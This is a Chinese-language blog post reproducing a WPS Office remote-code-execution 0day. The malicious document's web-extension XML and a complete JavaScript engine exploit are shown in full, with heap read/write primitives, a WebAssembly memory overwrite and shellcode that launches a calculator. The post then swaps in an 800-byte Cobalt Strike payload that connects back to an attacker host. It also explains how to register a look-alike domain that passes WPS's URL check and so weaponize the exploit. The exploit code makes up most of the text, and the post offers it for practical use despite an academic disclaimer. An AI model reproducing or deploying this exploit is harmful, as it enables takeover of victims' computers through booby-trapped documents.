声明:本文章仅供学术交流,请勿直接用于任何商业场合和非法用途。如用于其它用途,由使用者承担全部法律及连带责任,本人及本站不承担任何法律责任。

0x01 前言

前几天 WPS Office 出了个0day,到今天也有一个多星期了,在小迪师傅的直播教学后,终于有时间来复现一下这个“过期”的 0day 了,也是我第一次写文章来复现“0day”漏洞,后续要是还有什么能在我接受范围内来复现的漏洞,我也会发布文章出来。

先来看一下网上的介绍:攻击者利用本漏洞专门构造出恶意文档,受害者打开该文档并执行相应操作后,才会联网从远程服务器下载恶意代码到指定目录并执行,前提是系统当前用户对该目录具备写权限,攻击者进而控制其电脑。同时,官方也建议用户是更新到最新版本。

接下来,我也复现一下这个漏洞。

0x02 正文

原理分析

首先是讲一下原理,在 poc.docx 中,有一个Web拓展,将文档后缀改为 .zip 后解压,打开 poc\word\webExtensions 就可以看到这个文件:webExtension1.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wpswe:webExtension xmlns:wpswe="http://www.wps.cn/officeDocument/2018/webExtension">
    <wpswe:extSource id="dschart" version="1.0"/>
    <wpswe:properties>
        <wpswe:property key="DiscardFirstCodeChange" value="1"/>
        <wpswe:property key="autoSnapshot" value="0"/>
        <wpswe:property key="dschart"
                        value="{&quot;dschart_id&quot;:&quot;3612096174443311105-4&quot;,&quot;id&quot;:&quot;169&quot;}"/>
        <wpswe:property key="isUseCommonErrorPage" value="false"/>
        <wpswe:property key="loadingImage" value="res:/icons/DsWebShapeDefaultPage.svg"/>
    </wpswe:properties>
    <wpswe:watchingCache>
        <wpswe:linkPath>C:/Users/zxcv/AppData/Local/Temp/wps.hrngAX/Workbook1.xlsx</wpswe:linkPath>
    </wpswe:watchingCache>
    <wpswe:snapshot xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:embed="rId2"/>
    <wpswe:externalData xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:id="rId1"/>
    <wpswe:url>http://clientweb.docer.wps.cn.cloudwps.cn/1.html</wpswe:url>
    <wpswe:constantSnapshot>false</wpswe:constantSnapshot>
</wpswe:webExtension>

这个文件当中 wpswe:url(17行) 标签定义的链接就访问了我们的服务器,请求的路径是 1.html ,这里我们就可以知道大致原理了,用户点击文档后,触发了这个 web 拓展,导致软件向远程服务器发起请求,远程服务器返回的就是所要执行的代码,我们看看 1.html 文件当中的内容

<script>
if(typeof alert === "undefined"){
    alert = console.log;
}

let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function gc(){ // major
    for (let i = 0; i < 0x10; i++) {
        new Array(0x100000);
    }
}

function foo(bug) {
    function C(z) {
        Error.prepareStackTrace = function(t, B) {
            return B[z].getThis();
        };
        let p = Error().stack;
        Error.prepareStackTrace = null;
        return p;
    }
    function J() {}
    var optim = false;
    var opt = new Function(
        'a', 'b', 'c',
        'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
        'g++;'.repeat(70));
    var e = null;
    J.prototype.d = new Function(
        'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
    J.prototype.a = new Function('a', 'a.b(0,a)');
    J.prototype.b = new Function(
        'a', 'b',
        'b.c();if(a){' +
        'g++;'.repeat(70) + '}');
    J.prototype.c = function() {
        if (optim) {
            var z = C(3);
            var p = C(3);
            z[0] = 0;
            e = {M: z, C: p};
        }
    };
    var a = new J();
    // jit optim
    if (bug) {
        for (var V = 0; 1E4 > V; V++) {
            opt(0 == V % 4 ? 1 : 4, a, 1);
        }
    }
    optim = true;
    opt(1, a, 1);
    return e;
}

e1 = foo(false);
e2 = foo(true);

delete e2.M[0];

let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);

map.delete(hole);
map.delete(hole);
map.delete("asd");

map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);

let obj_array = {
    m: 1337, target: gc
};

let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;

let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 0xa72) {
        object_idx = i;
        object_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 0xa72) {
        object_idx = i + 1;
        object_idx_flag = 0;
        break;
    }
}

function addrof(obj_para) {
    obj_array.target = obj_para;
    let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
    obj_array.target = gc;
    return addr;
}

function fakeobj(addr) {
    let r8 = d2u(oob_array[object_idx]);
    if (object_idx_flag === 0) {
        oob_array[object_idx] = u2d(addr, r8[1]);
    }else {
        oob_array[object_idx] = u2d(r8[0], addr);
    }
    return obj_array.target;
}

let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
    if (d2u(oob_array[i])[0] === 1337) {
        bk_idx = i;
        bk_idx_flag = 1;
        break;
    }if (d2u(oob_array[i])[1] === 1337) {
        bk_idx = i + 1;
        bk_idx_flag = 0;
        break;
    }
}

let dv = new DataView(ab);
function get_32(addr) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    let val = dv.getUint32(0, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
    return val;
}

function set_32(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint32(0, val, true);
    oob_array[bk_idx] = u2d(r8[0], r8[1]);
}

function write8(addr, val) {
    let r8 = d2u(oob_array[bk_idx]);
    if (bk_idx_flag === 0) {
        oob_array[bk_idx] = u2d(addr, r8[1]);
    } else {
        oob_array[bk_idx] = u2d(r8[0], addr);
    }
    dv.setUint8(0, val);
}

let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);

let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;

let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));

const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]);

for(let i=0;i<shellcode.length;i++){
    write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

整个文件下来都是 js,而最为关键的就是 shellcode 这个变量,这就是用来执行的命令。

影响版本

版本

版本号

WPS Office 个人版

版本号低于 12.1.0.15120

WPS Office 机构版本(如专业版、专业增强版)

版本号低于 11.8.2.12055(含)

环境配置

  • 本地主机(Win11):ip地址:192.168.127.217

  • 受害主机(Win10):ip地址:192.168.127.15

  • 本地服务器(Win10):ip地址:192.168.127.71

  • WPS版本:WPS 11.1.0.12313 个人版

首先,受害主机上将 192.168.127.71 clientweb.docer.wps.cn.cloudwps.cn 添加至 C:/Windows/System32/drivers/etc 下的 hosts 文件中,这样做的目的是为了将域名解析至本地服务器上。通过 Ping 域名来验证是否解析至本地服务器

WPSrce-1.png

然后,将 1.html 文件上传至服务器,并在该文件路径下启动http服务

python -m http.server 80        # 启动http服务

受害主机上点击 poc.docx文件,本地服务器收到了请求

WPSrce-2.png

受害主机上弹出了计算器

WPSrce-3.png

这个弹出计算器的POC也是基础的,接下来试一试在实战中的用法。

实战利用方法

既然它可以执行命令,那么我们就可以放入反弹shell,msf后门,cs后门等进去,但因为太菜了,只会用CS生成 Payload ,将里面的 ShellCode 替换到1.html文件里。因为只是做测试并没有申请域名,域名的用途会在末尾说。

在生成使用 Payload 生成器的时候,一定要选择 C/C# 类型的。

这是我生成的

/* length: 800 bytes */

byte[] buf = new byte[800] { 0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0x61, 0x1e, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x70, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xc3, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x74, 0xb7, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x2f, 0x32, 0x6d, 0x69, 0x54, 0x00, 0xbd, 0x61, 0x3c, 0x7f, 0x6c, 0x04, 0x8a, 0xe9, 0xab, 0x73, 0xe8, 0xb1, 0x9e, 0xfb, 0x50, 0xfa, 0xc7, 0x21, 0x3c, 0x11, 0xab, 0x55, 0xb0, 0x14, 0x55, 0x90, 0x1a, 0xd8, 0x97, 0x4f, 0xe9, 0xc1, 0x84, 0x33, 0x9b, 0x00, 0x4d, 0xfd, 0xb1, 0x00, 0x6a, 0x23, 0x86, 0xb4, 0x86, 0x83, 0x4a, 0x3d, 0x47, 0x25, 0xb3, 0x19, 0x04, 0x6a, 0x5b, 0xaf, 0x30, 0x09, 0xf4, 0x15, 0x0d, 0x53, 0xfc, 0x0c, 0x6e, 0xfb, 0x68, 0x2a, 0xe8, 0x9d, 0x90, 0x9d, 0x36, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x42, 0x4f, 0x49, 0x45, 0x39, 0x3b, 0x45, 0x4e, 0x55, 0x53, 0x29, 0x0d, 0x0a, 0x00, 0xca, 0x56, 0x5c, 0xb2, 0xe0, 0x42, 0xb3, 0x37, 0xdc, 0x0f, 0x2a, 0x4a, 0xc4, 0xef, 0xb1, 0x45, 0x3d, 0xeb, 0x51, 0x5b, 0x3b, 0xf8, 0x66, 0xac, 0x56, 0x3a, 0x58, 0xbb, 0x18, 0x0b, 0x81, 0x68, 0x93, 0xb2, 0xfe, 0x32, 0x9a, 0x34, 0x2d, 0xc8, 0x9f, 0xa0, 0x5b, 0x0c, 0x84, 0x97, 0xc3, 0xf7, 0x0b, 0xbb, 0xb6, 0xd9, 0xa5, 0xde, 0xe1, 0xd1, 0x8f, 0x63, 0xcf, 0x8b, 0xc7, 0x9a, 0x9c, 0xb4, 0xd9, 0x4f, 0x94, 0x11, 0x38, 0x67, 0xea, 0xfa, 0xdd, 0x84, 0x98, 0xea, 0x50, 0x73, 0x47, 0x5f, 0x85, 0x21, 0x49, 0x8a, 0x4e, 0xa1, 0x6b, 0xc8, 0xc0, 0xc7, 0xe5, 0x5c, 0x6e, 0x22, 0xa4, 0x97, 0xa0, 0x15, 0xb3, 0x16, 0xab, 0x70, 0xce, 0x88, 0x12, 0xa7, 0x4a, 0xbf, 0x4c, 0xa7, 0x9e, 0x01, 0xeb, 0xd5, 0xee, 0x15, 0xb0, 0x89, 0x93, 0x29, 0xe7, 0x1a, 0xb9, 0x48, 0xce, 0xa4, 0xc9, 0xbe, 0x5c, 0xdf, 0x26, 0xeb, 0x09, 0xb6, 0xf7, 0x32, 0xdc, 0x07, 0xa5, 0x8e, 0x7c, 0x6a, 0x79, 0xca, 0x4b, 0x9d, 0x08, 0x3a, 0x5b, 0xb3, 0x9d, 0x5e, 0xae, 0xd7, 0x47, 0xac, 0xa9, 0x68, 0x68, 0x8d, 0x05, 0xd3, 0x5b, 0xc9, 0x56, 0x49, 0x74, 0xdb, 0x28, 0xc0, 0x10, 0x1d, 0xe6, 0x69, 0xed, 0xfe, 0xc3, 0x53, 0xe5, 0xae, 0x1a, 0xf3, 0x71, 0x71, 0x46, 0x78, 0x8f, 0xaf, 0xab, 0x48, 0x26, 0x5a, 0x12, 0xe8, 0xe0, 0xd8, 0x91, 0x16, 0x74, 0x4f, 0xc8, 0x2e, 0x0f, 0x1f, 0xe8, 0x55, 0xae, 0x11, 0xd0, 0x3e, 0x5b, 0x50, 0xee, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0xa9, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x37, 0x2e, 0x31, 0x36, 0x33, 0x00, 0x3a, 0xde, 0x68, 0xb1 };

将其替换至上方html文件当中的shellcode,文件内容保存后退出,然后重新安装WPS,启动http服务(前面复现完关闭的),点击受害主机上的 poc 文档,受害主机正常打开了文档,服务器上收到了请求,而CS没有任何反应。最后也是用本地主机进行上线,结果如下:

WPSrce-4.png

WPSrce-5.png

到这里,实战的用法也成功实现了一遍。

WPS 访问 wpswe:url 中的链接是需要满足这个格式的 clientweb.docer.wps.cn.{xxxxx}wps.cn ,5个 'x' 的地方随便什么字符都可以,其他位置满足了就好,所以要先申请好 {xxxxx}wps.cn 格式的域名,再对域名做好解析,请求服务器上带有 payload 的html文件。

0x03 总结

这次的漏洞复现算是圆满成功,虽然受害主机只起到了复现的作用,并没有参与到实战利用中,但至少给大家提了个醒,以后做类似的实验或是复现漏洞,虚拟机的运行内存别给太小了,不然就有可能发生我这种情况。同时,也感谢小迪师傅的教学和提供的复现资源。

本篇 完